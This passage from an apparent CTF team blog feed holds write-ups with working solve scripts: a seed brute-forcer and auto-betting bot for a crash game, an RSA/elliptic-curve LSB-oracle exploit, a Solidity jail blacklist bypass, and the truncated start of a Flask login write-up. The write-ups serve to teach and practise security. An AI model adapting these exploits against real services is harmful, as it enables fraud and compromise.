SIO_PATH  = &quot;/socket.io&quot;
HOUSE     = 0.01
OBS_N     = 10
SEARCH_H  = 12 * 3600  # +- 12 ore
EXEC      = concurrent.futures.ThreadPoolExecutor(max_workers=1)

def _mult(rng, house_edge=HOUSE):
    F = 1 - house_edge
    return (1 / rng.uniform(0.01, 1.0)) * F

def build_seq(seed, n=10_000):
    rng = random.Random(seed)
    return [_mult(rng) for _ in range(n)]

def brute_seed_sync(obs, start, end):
    for seed in range(start, end + 1):
        seq = build_seq(seed)
        for i in range(len(seq) - len(obs) + 1):
            if all(abs(seq[i+j] - obs[j]) &amp;lt; 0.01 for j in range(len(obs))):
                return seed, i
    raise RuntimeError(&quot;Seed non trovato&quot;)

async def main():
    sio         = socketio.AsyncClient()
    observed    = []
    brute_fut   = None
    seed        = offset = None
    sequence    = None
    idx         = 0
    has_bet     = False
    has_cashed  = False
    balance = None

    @sio.event
    async def connect():
        print(f&quot;[+] connected – waiting {OBS_N} crash…&quot;)

    @sio.on(&quot;cashout_response&quot;)
    async def on_bet_response(data):
        nonlocal balance
        if data.get(&quot;success&quot;):
            balance = data.get(&quot;balance&quot;)
            print(f&quot;[+] Bet accepted. New balance: {balance}&quot;)
        else:
            print(&quot;[-] Bet failed.&quot;)

    @sio.on(&quot;game_state&quot;)
    async def on_state(d):
        nonlocal brute_fut, seed, offset, sequence, idx, has_bet, has_cashed, balance
        phase = d[&quot;phase&quot;]

        if phase == &quot;betting&quot;:
            if seed is not None and not has_bet:
                if balance is None:
                    balance = 10
                if sequence is not None:
                    print(&quot;[+] Current balance: &quot;,balance)
                    next_crash = sequence[(idx - 1) % 10_000]
                    print(f&quot;[+] Betting – predicted crash: {next_crash:.2f}&quot;)
                    await sio.emit(&quot;place_bet&quot;, {&quot;amount&quot;: int(balance)})
                    has_bet = True

        elif phase == &quot;game&quot;:
            if seed is not None and has_bet and not has_cashed:
                next_crash = sequence[(idx - 1) % 10_000]
                cashout_at = max(1.01, next_crash - 0.05)
                current_multiplier = float(d.get(&quot;multiplier&quot;, 1.0))

                if current_multiplier &amp;gt;= cashout_at:
                    print(f&quot;[+] Cashing out at {current_multiplier:.2f} &quot;
                          f&quot;(before predicted crash {next_crash:.2f})&quot;)
                    await sio.emit(&quot;cashout&quot;)
                    has_cashed = True

        elif phase == &quot;ended&quot;:
            crash = float(d[&quot;multiplier&quot;])
            observed.append(crash)
            print(f&quot;[+] crash #{len(observed)}: {crash:.2f}&quot;)

            if brute_fut is None and len(observed) &amp;gt;= OBS_N:
                now   = int(time.time())
                start = now - SEARCH_H
                print(f&quot;[+] brute-force {start} → {now}… (in thread)&quot;)
                loop = asyncio.get_running_loop()
                brute_fut = loop.run_in_executor(
                    EXEC,
                    functools.partial(brute_seed_sync,
                                      obs=observed[:OBS_N],
                                      start=start,
                                      end=now)
                )

            if brute_fut is not None and brute_fut.done() and seed is None:
                seed, offset = brute_fut.result()
                sequence = build_seq(seed)
                idx = offset + len(observed)
                print(&quot;\n[+]  seed:&quot;, seed)
                print(&quot;[+]  start offset:&quot;, offset)
                print(&quot;[+]  current round:&quot;, idx % 10_000, &quot;\n&quot;)

            if seed is not None:
                next_crash = sequence[idx % 10_000]
                print(f&quot;[+]  Next expected crash: {next_crash:.2f}&quot;)
                idx += 1
            has_bet = False
            has_cashed = False


    @sio.on(&quot;error&quot;)
    async def on_error(msg):
        if &quot;corn{&quot; in msg:
            print(&quot;FLAG: &quot;, msg[&quot;message&quot;])
            exit(0)
        print(&quot;⚠️  server error:&quot;, msg)

    await sio.connect(URL, socketio_path=SIO_PATH, transports=[&quot;websocket&quot;])
    await sio.wait()

if __name__ == &quot;__main__&quot;:
    asyncio.run(main())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[corn{1_d0n7_g4mbl3_i_a1w4y5_w1n}]&lt;/p&gt;
</content:encoded></item><item><title>CornCTF2025 | ECRSA</title><link>https://bytethecookies.org/posts/cornctf2025-ecrsa/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cornctf2025-ecrsa/</guid><description>RSA or Elliptic Curves? Why not both?</description><pubDate>Fri, 21 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;ECRSA was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2762&quot;&gt;cornCTF 2025&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: main.py

#!/usr/bin/env python3
from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y
import os

FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode()

assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;)
assert len(FLAG) == 64

def sign(m, x):
    if m == 0 or m == 1 or m == n-1:
        print(&quot;No weak messages allowed here&quot;)
        return None
    try:
        user_point = E.lift_x(x)
    except ValueError:
        print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;)
        return None
    sig = pow(m, d, n)
    sig = sig * user_point + secret_point
    return sig.xy()[0], sig.xy()[1]

def verify(sig, m, x):
    try:
        user_point = E.lift_x(x)
    except ValueError:
        print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;)
        return False
    sig_point = sig - secret_point
    # don&apos;t want to make you wait too long
    # c = sig_point.log(user_point)
    c = 0x69
    c = pow(c, e, n)
    return c == m

assert curve_p.bit_length() == 513
assert order.bit_length() == 513

K = GF(curve_p)
a = K(a)
b = K(b)
K = GF(curve_p)
E = EllipticCurve(K, (a, b))
E.set_order(order)
secret_point = E(secret_point_x, secret_point_y)

flag = int.from_bytes(FLAG, byteorder=&apos;big&apos;)

p = random_prime(2&amp;lt;&amp;lt;255, lbound=2&amp;lt;&amp;lt;254)
q = random_prime(2&amp;lt;&amp;lt;255, lbound=2&amp;lt;&amp;lt;254)
n = p*q

while flag &amp;gt;= n or n&amp;gt;curve_p or n&amp;gt;order:
    p = random_prime(2&amp;lt;&amp;lt;255, lbound=2&amp;lt;&amp;lt;254)
    q = random_prime(2&amp;lt;&amp;lt;255, lbound=2&amp;lt;&amp;lt;254)
    n = p*q

e = 0x10001
d = pow(e, -1, (p-1)*(q-1))

print(&quot;Welcome to my custom signing and verification system!&quot;)
print(&quot;Here are my public parameters:&quot;)
print(f&quot;e: {e}&quot;)
print(f&quot;n: {n}&quot;)

print(f&quot;Leak: {pow(flag, e, n)}&quot;)

while True:
    print(&quot;1. Sign\n2. Verify\n3. Exit&quot;)
    choice = int(input())
    if choice == 1:
        m = int(input(&quot;Enter message: &quot;))
        x = Integer(input(&quot;Enter x-coordinate of your point: &quot;))
        sig = sign(m, x)
        print(f&quot;Signature: {sig}&quot;)
    elif choice == 2:
        try:
            sig_x = Integer(input(&quot;Enter x-coordinate of signature: &quot;))
            sig_y = Integer(input(&quot;Enter y-coordinate of signature: &quot;))
            sig = E(sig_x, sig_y)
        except TypeError:
            print(&quot;Invalid signature&quot;)
            continue
        m = int(input(&quot;Enter message: &quot;))
        x = K(Integer(input(&quot;Enter x-coordinate of your point: &quot;)))
        if verify(sig, m, x):
            print(&quot;Valid signature&quot;)
        else:
            print(&quot;Invalid signature&quot;)
    elif choice == 3:
        break
    else:
        print(&quot;Invalid choice&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag is simply encrypted with RSA, while the service provides a modified ECDSA signing oracle.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;There are 3 steps to the solution:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Recover the &lt;code&gt;secret_point&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Figure out the curve parameters&lt;/li&gt;
&lt;li&gt;Obtain the flag&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Recovering &lt;code&gt;secret_point&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This step is really easy as the check in &lt;code&gt;sign&lt;/code&gt; for the value of &lt;code&gt;m&lt;/code&gt; is done before the modular reduction, therefore sending a multiple of the modulus will pass the check but &lt;code&gt;pow(m, d, n)&lt;/code&gt; will result in a &lt;code&gt;0&lt;/code&gt;, meaning &lt;code&gt;sign&lt;/code&gt; will give back &lt;code&gt;secret_point&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Figuring out the curve parameters&lt;/h3&gt;
&lt;p&gt;With &lt;code&gt;secret_point&lt;/code&gt; now ours and being able to provide &lt;code&gt;sign&lt;/code&gt; with any &lt;code&gt;user_point&lt;/code&gt; we can query the oracle to obtain a few points on the curve, with said points we can recover the parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def solve_curve_parameters(r):
    points = set()

    for x_in in trange(1, 100):
        try:
            point = sign(r, n+1, x_in)
            points.add(point)
            if len(points) &amp;gt;= 10: # arbitrary
                break
        except:
            continue

		points = list(points)
    dets = []
    for i in range(len(points) - 3):
        (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2]

		    # Y = y^2 - x^3 -&amp;gt; Y = ax + b (mod p).
        Y1 = y1**2 - x1**3
        Y2 = y2**2 - x2**3
        Y3 = y3**2 - x3**3

				# w := Y1 - Y2 = a(x1 - x2) (mod p)
				# z := Y2 - Y3 = a(x2 - x3) (mod p)
				# So w(x2 - x3) and z(x1 - x2) differ by a multiple of p
        I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2)

        if I != 0:
            dets.append(I)

    p = gcd(dets)
    dx = x1 - x2
    a = (Y1 - Y2) * pow(dx, -1, p) % p

    # From Y1 = a*x1 + b (mod p), we solve for b.
    b = (Y1 - a * x1) % p

    # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p
    lhs = y3**2 % p
    rhs = (x3**3 + a * x3 + b) % p

    if lhs == rhs:
        return p, a, b

    return None, None, None
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Getting the flag&lt;/h3&gt;
&lt;p&gt;The idea is to use an LSB-Oracle:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$c \equiv m^e \pmod n$ &amp;lt;br&amp;gt;
$(2^ec)^d \equiv 2m \pmod n$ &amp;lt;br&amp;gt;
the previous value is even if $m \leq n/2$, odd otherwise (because $n$ is odd) &amp;lt;br&amp;gt;
so we can construct bit by bit the value of $m$ by multiplying $c$ by $2^e$ each time&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the context of the challenge we need a way to distinguish odd and even values of &lt;code&gt;pow(m, d, n)&lt;/code&gt;. This can be achieved with a point of order $2$ on the curve, since when &lt;code&gt;pow(m, d, n)&lt;/code&gt; is even, multiplying it with our given point $P$ will give the identity, which added to &lt;code&gt;secret_point&lt;/code&gt; will give this one back, otherwise we&apos;ll get $P$ plus &lt;code&gt;secret_point&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def lsb_oracle(r, P):
    l, u = 0, n

    c = enc_flag
    e2 = pow(2, e, n)
    for _ in trange(n.bit_length()):
        c *= e2
        Q = E(sign(r, c % n, P.xy()[0])) - sp # sp = secret_point
        if Q == E.zero():
            u = (l + u) &amp;gt;&amp;gt; 1
        else:
            l = (l + u) &amp;gt;&amp;gt; 1
    return (l + u) &amp;gt;&amp;gt; 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Full solve script&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#filename: exploit.py
import os
os.environ[&apos;TERM&apos;] = &apos;linux&apos;

from pwn import *
from tqdm import trange

# Signing utility
def sign(r, m, x):
    r.recvuntil(b&apos;t\n&apos;)
    r.sendline(b&apos;1&apos;)
    r.recvuntil(b&apos;: &apos;)
    r.sendline(str(m).encode())
    r.recvuntil(b&apos;: &apos;)
    r.sendline(str(x).encode())

    r.recvuntil(b&apos;: &apos;)
    data = r.recvline(False).decode()[1:-1].split(&apos;, &apos;)
    return int(data[0]), int(data[1])


def solve_curve_parameters(r):
    points = set()

    for x_in in trange(1, 100):
        try:
            point = sign(r, n+1, x_in)
            points.add(point)
            if len(points) &amp;gt;= 10: # arbitrary
                break
        except:
            continue

    points = list(points)
    dets = []
    for i in range(len(points) - 3):
        (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2]

		# Y = y^2 - x^3 -&amp;gt; Y = ax + b (mod p).
        Y1 = y1**2 - x1**3
        Y2 = y2**2 - x2**3
        Y3 = y3**2 - x3**3

		# w := Y1 - Y2 = a(x1 - x2) (mod p)
		# z := Y2 - Y3 = a(x2 - x3) (mod p)
		# So w(x2 - x3) and z(x1 - x2) differ by a multiple of p
        I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2)

        if I != 0:
            dets.append(I)

    p = gcd(dets)
    dx = x1 - x2
    a = (Y1 - Y2) * pow(dx, -1, p) % p

    # From Y1 = a*x1 + b (mod p), we solve for b.
    b = (Y1 - a * x1) % p

    # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p
    lhs = y3**2 % p
    rhs = (x3**3 + a * x3 + b) % p

    if lhs == rhs:
        return p, a, b

    return None, None, None

def lsb_oracle(r, P):
    l, u = 0, n

    c = enc_flag
    e2 = pow(2, e, n)
    for _ in trange(n.bit_length()):
        c *= e2
        Q = E(sign(r, c % n, P.xy()[0])) - sp
        if Q == E.zero():
            u = (l + u) &amp;gt;&amp;gt; 1
        else:
            l = (l + u) &amp;gt;&amp;gt; 1
    return (l + u) &amp;gt;&amp;gt; 1

r = remote(&apos;ecrsa.challs.cornc.tf&apos;, 1337, ssl=True) if args.REMOTE else process(&apos;./ecrsa.sage&apos;)

e = 65537
r.recvuntil(b&apos;n: &apos;)
n = int(r.recvline(False).decode())
r.recvuntil(b&apos;k: &apos;)
enc_flag = int(r.recvline(False).decode())

p, a, b = solve_curve_parameters(r)
E = EllipticCurve(GF(p), [a, b])
# order = E.order()
# Cached for speed
order = 16069075899419272706313306230384148392684766596987923274252840802156807638348274231565457533546984784193487763139164096443059279726687808489053779972143886
E.set_order(order)
q = order // 2

# Get point of order 2
while (P := E.random_point()).order() != order: continue
P *= q

assert P.order() == 2

# Get secret point
sp = E(sign(r, 2*n, 1))

m = lsb_oracle(r, P)
# Last byte isn&apos;t always right, just ignore and force the }
print(&apos;flag:&apos;, int(m).to_bytes(64)[:-1].decode() + &apos;}&apos;)


r.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[corn{br34k1ng_dl0g_15_h4rd_bu7_m0d_2_m4k35_3v3ry7h1ng_funn13r!!}]&lt;/p&gt;
</content:encoded></item><item><title>WWWFctf2025 | Solidity Jail 1</title><link>https://bytethecookies.org/posts/wwfctf2025-solidity-jail1/</link><guid isPermaLink="true">https://bytethecookies.org/posts/wwfctf2025-solidity-jail1/</guid><description>Bash Jail? Boring. PyJail? Too Common. Introducing for the first time, Solidity Jail! Make a contract to read the flag!</description><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat.&lt;/p&gt;
&lt;p&gt;In this challenge, we interacted with a remote server that executed Solidity function code we submitted. The goal? Extract a flag from another contract on the same blockchain. But there was a twist: a blacklist carefully crafted to block obvious approaches.&lt;/p&gt;
&lt;p&gt;Navigating this puzzle felt like exploring the EVM itself. Dead ends and misleading paths were everywhere. Yet the final solution emerged smoothly, clever in its simplicity, proving that even the trickiest Solidity jail can be cracked with the right insight.&lt;/p&gt;
&lt;h2&gt;Analysis of the challange&lt;/h2&gt;
&lt;p&gt;First off, let’s scope out the setup. We were provided with two key files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Jail.sol&lt;/strong&gt;: The target contract, named in the solidity as &lt;em&gt;BytecodeRunner&lt;/em&gt;, which features a public variable called &lt;code&gt;flag&lt;/code&gt; and a &lt;code&gt;run()&lt;/code&gt; function.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract BytecodeRunner {

    string public flag = &quot;wwf{REDACTED}&quot;;

    function run(bytes memory _bytecode, bytes32 _salt) public
    returns (bool success, bytes memory result)
    {
        address newContract;
        assembly {
            newContract := create2(
                0,
                add(_bytecode, 0x20),
                mload(_bytecode),
                _salt
            )
            if iszero(newContract) {
                revert(0, 0)
            }
        }

        bytes memory callData = abi.encodeWithSelector(
            bytes4(keccak256(&quot;main()&quot;))
        );

        (success, result) = newContract.call(callData);
        require(success, &quot;Execution of main() failed.&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the &lt;code&gt;run()&lt;/code&gt; function takes our bytecode, deploys it using create2, and then calls our main() function.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;jailTalk.py&lt;/strong&gt;: The server-side helper. It wraps whatever we submit inside a Solution contract, compiles it, and sends the resulting bytecode to the run function of &lt;em&gt;BytecodeRunner&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;
#!/usr/local/bin/python
import signal
from solcx import compile_standard
import os
from web3 import Web3
import string
import requests
from urllib.parse import urlparse

contr_add = os.environ.get(&quot;CONTRACT_ADDDR&quot;)
rpc_url = os.environ.get(&quot;RPC_URL&quot;)

try:
    parsed = urlparse(rpc_url)
    resp = requests.get(f&quot;{parsed.scheme}://{parsed.netloc}&quot;)
    if resp.text != &quot;ok&quot;:
        print(&quot;Contact admins challenge not working...&quot;)
        exit()
except Exception as e:
    print(&quot;Contact admins challenge not working...&quot;)
    exit()


print(&quot;Enter the body of main() (end with three blank lines):&quot;)
lines = []
empty_count = 0
while True:
    try:
        line = input()
    except EOFError:
        break
    if line.strip() == &quot;&quot;:
        empty_count += 1
    else:
        empty_count = 0
    if empty_count &amp;gt;= 3:
        lines = lines[:-2]
        break
    lines.append(line)

body = &quot;\n&quot;.join(f&quot;        {l}&quot; for l in lines)

if not all(ch in string.printable for ch in body):
    raise ValueError(&quot;Non-printable characters detected in contract.&quot;)

blacklist = [
    &quot;flag&quot;,
    &quot;transfer&quot;,
    &quot;address&quot;,
    &quot;this&quot;,
    &quot;block&quot;,
    &quot;tx&quot;,
    &quot;origin&quot;,
    &quot;gas&quot;,
    &quot;fallback&quot;,
    &quot;receive&quot;,
    &quot;selfdestruct&quot;,
    &quot;suicide&quot;
]
if any(banned in body for banned in blacklist):
    raise ValueError(f&quot;Blacklisted string found in contract.&quot;)


source = f&quot;&quot;&quot;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Solution {{
    function main() external returns (string memory) {{
{body}
    }}
}}
&quot;&quot;&quot;

print(&quot;Final contract with inserted main() body:&quot;)
print(source)

compiled = compile_standard(
    {
        &quot;language&quot;: &quot;Solidity&quot;,
        &quot;sources&quot;: {&quot;Solution.sol&quot;: {&quot;content&quot;: source}},
        &quot;settings&quot;: {
            &quot;outputSelection&quot;: {
                &quot;*&quot;: {
                    &quot;*&quot;: [&quot;evm.bytecode.object&quot;]
                }
            }
        },
    },
    solc_version=&quot;0.8.20&quot;,
)


bytecode_hex = &quot;0x&quot; + compiled[&quot;contracts&quot;][&quot;Solution.sol&quot;][&quot;Solution&quot;][&quot;evm&quot;][&quot;bytecode&quot;][&quot;object&quot;]
salt_hex = &quot;0x&quot; + os.urandom(32).hex()

web3 = Web3(Web3.HTTPProvider(rpc_url))

contr_abi = [{&quot;inputs&quot;:[],&quot;name&quot;:&quot;flag&quot;,&quot;outputs&quot;:[{&quot;internalType&quot;:&quot;string&quot;,&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;string&quot;}],&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;inputs&quot;:[{&quot;internalType&quot;:&quot;bytes&quot;,&quot;name&quot;:&quot;_bytecode&quot;,&quot;type&quot;:&quot;bytes&quot;},{&quot;internalType&quot;:&quot;bytes32&quot;,&quot;name&quot;:&quot;_salt&quot;,&quot;type&quot;:&quot;bytes32&quot;}],&quot;name&quot;:&quot;run&quot;,&quot;outputs&quot;:[{&quot;internalType&quot;:&quot;bool&quot;,&quot;name&quot;:&quot;success&quot;,&quot;type&quot;:&quot;bool&quot;},{&quot;internalType&quot;:&quot;bytes&quot;,&quot;name&quot;:&quot;result&quot;,&quot;type&quot;:&quot;bytes&quot;}],&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;}]
contr = web3.eth.contract(address=contr_add, abi=contr_abi)

bytecode_bytes = Web3.to_bytes(hexstr=bytecode_hex)
salt_bytes = Web3.to_bytes(hexstr=salt_hex)
print(contr.functions.run(bytecode_bytes, salt_bytes).call())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the most crucial part is obv the blacklist.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This blacklist effectively blocks the most straightforward exploits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;flag&lt;/strong&gt;: Directly calling &lt;code&gt;target.flag()&lt;/code&gt; is prohibited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;address&lt;/strong&gt;: We cannot declare an &lt;code&gt;address&lt;/code&gt; variable to hold the target contract&apos;s location.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gas&lt;/strong&gt;: Access to the &lt;code&gt;gas()&lt;/code&gt; opcode is restricted, which is often needed for low-level calls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;this&lt;/strong&gt;: Retrieving our own contract&apos;s address is also disallowed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal is clear: invoke the &lt;code&gt;flag()&lt;/code&gt; function on the &lt;code&gt;BytecodeRunner&lt;/code&gt; contract.&lt;br /&gt;
Since &lt;code&gt;main()&lt;/code&gt; is executed by &lt;code&gt;BytecodeRunner&lt;/code&gt;, the contract&apos;s address is simply &lt;code&gt;msg.sender&lt;/code&gt;.&lt;br /&gt;
The challenge comes down to circumventing these blacklist limitations basically.&lt;/p&gt;
&lt;h2&gt;My Solve&lt;/h2&gt;
&lt;p&gt;Looking at other write-ups for this challenge, it’s clear that there were a variety of approaches to solving it. Some solutions focused heavily on the Python side, manipulating the server-side logic (like sub-stringing the &quot;flag&quot; keyword), while others leaned more on Solidity, crafting intricate contracts to bypass restrictions (like the definition of an interface with the same function name and type signature, then cast the contract’s address to that interface). In my case, I believe I tackled the challenge using the simplest and most straightforward method possible. In fact:&lt;/p&gt;
&lt;p&gt;I executed the function via a low-level call, specifically using the &lt;code&gt;.call()&lt;/code&gt; method on an address and supplying the calldata manually. But how can you calculate a calldata?&lt;/p&gt;
&lt;p&gt;There are multiple techniques to construct the calldata in Solidity for a function invocation. Common methods include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;abi.encodeWithSignature(&quot;functionName(types...)&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;abi.encodeCall(ContractName.functionName, (args...))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;abi.encodeWithSelector(bytes4Selector, (args...))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first two methods rely on providing the function name as a string, which is explicitly blacklisted, so we can&apos;t use them. Therefore, using the last one: &lt;code&gt;abi.encodeWithSelector&lt;/code&gt;, it allows us to bypass this restriction using a &lt;em&gt;function selector&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;function selector&lt;/em&gt; is derived as the first 4 bytes of the Keccak-256 hash of its canonical signature -&amp;gt; $ \text{bytes4}(\text{keccak256}(&quot;functionName(inputTypes)&quot;)) $. In our case flag() has no input types, so it will be empty.&lt;/p&gt;
&lt;p&gt;The selector for &lt;code&gt;flag()&lt;/code&gt; is &lt;code&gt;0x890eba68&lt;/code&gt;. I used Foundry’s &lt;code&gt;cast sig&lt;/code&gt; command to compute this easily.&lt;/p&gt;
&lt;p&gt;We also need to bypass the restriction on using the &lt;code&gt;address&lt;/code&gt; keyword. Because the &lt;code&gt;main()&lt;/code&gt; function is executed by the target contract itself, its address is inherently available via &lt;code&gt;msg.sender&lt;/code&gt;. This removes the necessity of defining a separate &lt;code&gt;address&lt;/code&gt; variable. By combining the appropriate function selector with &lt;code&gt;msg.sender&lt;/code&gt; as the destination, a conventional low-level &lt;code&gt;.call()&lt;/code&gt; invocation suffices to execute the target function, thereby resolving the challenge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(bool ok, bytes memory res) = msg.sender.staticcall(
    abi.encodeWithSelector(0x890eba68)
);
require(ok, &quot;failed&quot;);
return string(res);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}]&lt;/p&gt;
</content:encoded></item><item><title>WWFctf2025 | Blank Login</title><link>https://bytethecookies.org/posts/wwfctf2025-blank-login/</link><guid isPermaLink="true">https://bytethecookies.org/posts/wwfctf2025-blank-login/</guid><description>Hm, I don&apos;t remember, probably something about three databases.</description><pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This is the third web application I&apos;ve exploited. It&apos;s a very cool challenge, not too complex, and very fun. There&apos;s a not-very-easy race condition to spot. In fact, I think that&apos;s the most difficult part. So, let&apos;s start.&lt;/p&gt;
&lt;p&gt;We have a small Flask application with about 200 lines of code, so it&apos;s not too bad. The first page is a login page without a register page.&lt;/p&gt;
&lt;p&gt;The first thing to do is read the code.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;We can start with the set up of the flask application&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: main.py

# Flask setup - session store
app = Flask(__name__)
app.secret_key = bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex()
app.config[&apos;SESSION_TYPE&apos;] = &apos;filesystem&apos;
Session(app)

# MongoDB setup - users
mongo_client = MongoClient(&quot;mongodb://mongo:27017/&quot;)
mongo_db = mongo_client[&quot;flaskdb&quot;]
mongo_users = mongo_db[&quot;users&quot;]
mongo_users.delete_many({})
admin_user = {
    &quot;username&quot;: &quot;admin&quot;,
    &quot;password&quot;: bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(),
    &quot;email&quot;: &quot;admin@securepractice.corp&quot;
}
regular_user = {
    &quot;username&quot;: &quot;user&quot;,
    &quot;password&quot;: bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(),
    &quot;email&quot;: &quot;user@securepractice.corp&quot;
}
mongo_users.insert_many([admin_user, regular_user])

# SQLite setup - audit trail
Base = declarative_base()
engine = create_engine(&quot;sqlite:///audit_log.db&quot;, connect_args={&quot;check_same_thread&quot;: False})
SessionLocal = sessionmaker(bind=engine)

class SearchBase(Base):
    __tablename__ = &quot;search_base&quot;
    id = Column(Integer, primary_key=True)

class AuditLog(Base):
    __tablename__ = &quot;audit_log&quot;
    id = Column(Integer, primary_key=True)
    parent_id = Column(Integer, ForeignKey(&quot;search_base.id&quot;))
    username = Column(String)
    action = Column(String)
    timestamp = Column(Integer)


# Other code....


if __name__ == &quot;__main__&quot;:

    Base.metadata.create_all(bind=engine)

    # MySQL setup - reset tokens
    for _ in range(10):
        try:
            mysql_conn = mysql.connector.connect(
                host=&quot;mysql&quot;, user=&quot;root&quot;, password=&quot;rootpass&quot;, database=&quot;flaskdb&quot;
            )
            if mysql_conn.is_connected():
                break
        except Error:
            time.sleep(3)
    if not mysql_conn:
        raise Exception(&quot;MySQL connection failed.&quot;)
    # Reset token setup
    cursor = mysql_conn.cursor(dictionary=True)
    cursor.execute(&quot;&quot;&quot;
        CREATE TABLE IF NOT EXISTS reset_tokens (
            id INT AUTO_INCREMENT PRIMARY KEY,
            username CHAR(255),
            token CHAR(255) DEFAULT &apos;&apos;
        ) CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci;
    &quot;&quot;&quot;)
    for username in [&apos;user&apos;, &apos;admin&apos;]:
        cursor.execute(&quot;DELETE FROM reset_tokens WHERE username = %s&quot;, (username,))
        cursor.execute(&quot;INSERT INTO reset_tokens (username) VALUES (%s)&quot;, (username,))
        cursor.execute(&quot;UPDATE reset_tokens SET token = %s WHERE username = %s&quot;, (get_random_token(), username))
    mysql_conn.commit()
    cursor.close()
    mysql_conn.close()

    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=False, threaded=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, so analyzing the code, we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two registered a user: &lt;code&gt;user&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt;, with passwords that are securely and randomly generated.&lt;/li&gt;
&lt;li&gt;We use three databases, each with a specific purpose.
&lt;ul&gt;
&lt;li&gt;MySQL: Store the token for password resets.&lt;/li&gt;
&lt;li&gt;Mongo: Store users&lt;/li&gt;
&lt;li&gt;SQLite3: Store the audit logs.
This is a bit strange, but okay.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, let&apos;s look at some endpoints.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#filename: main.py

# Main login page
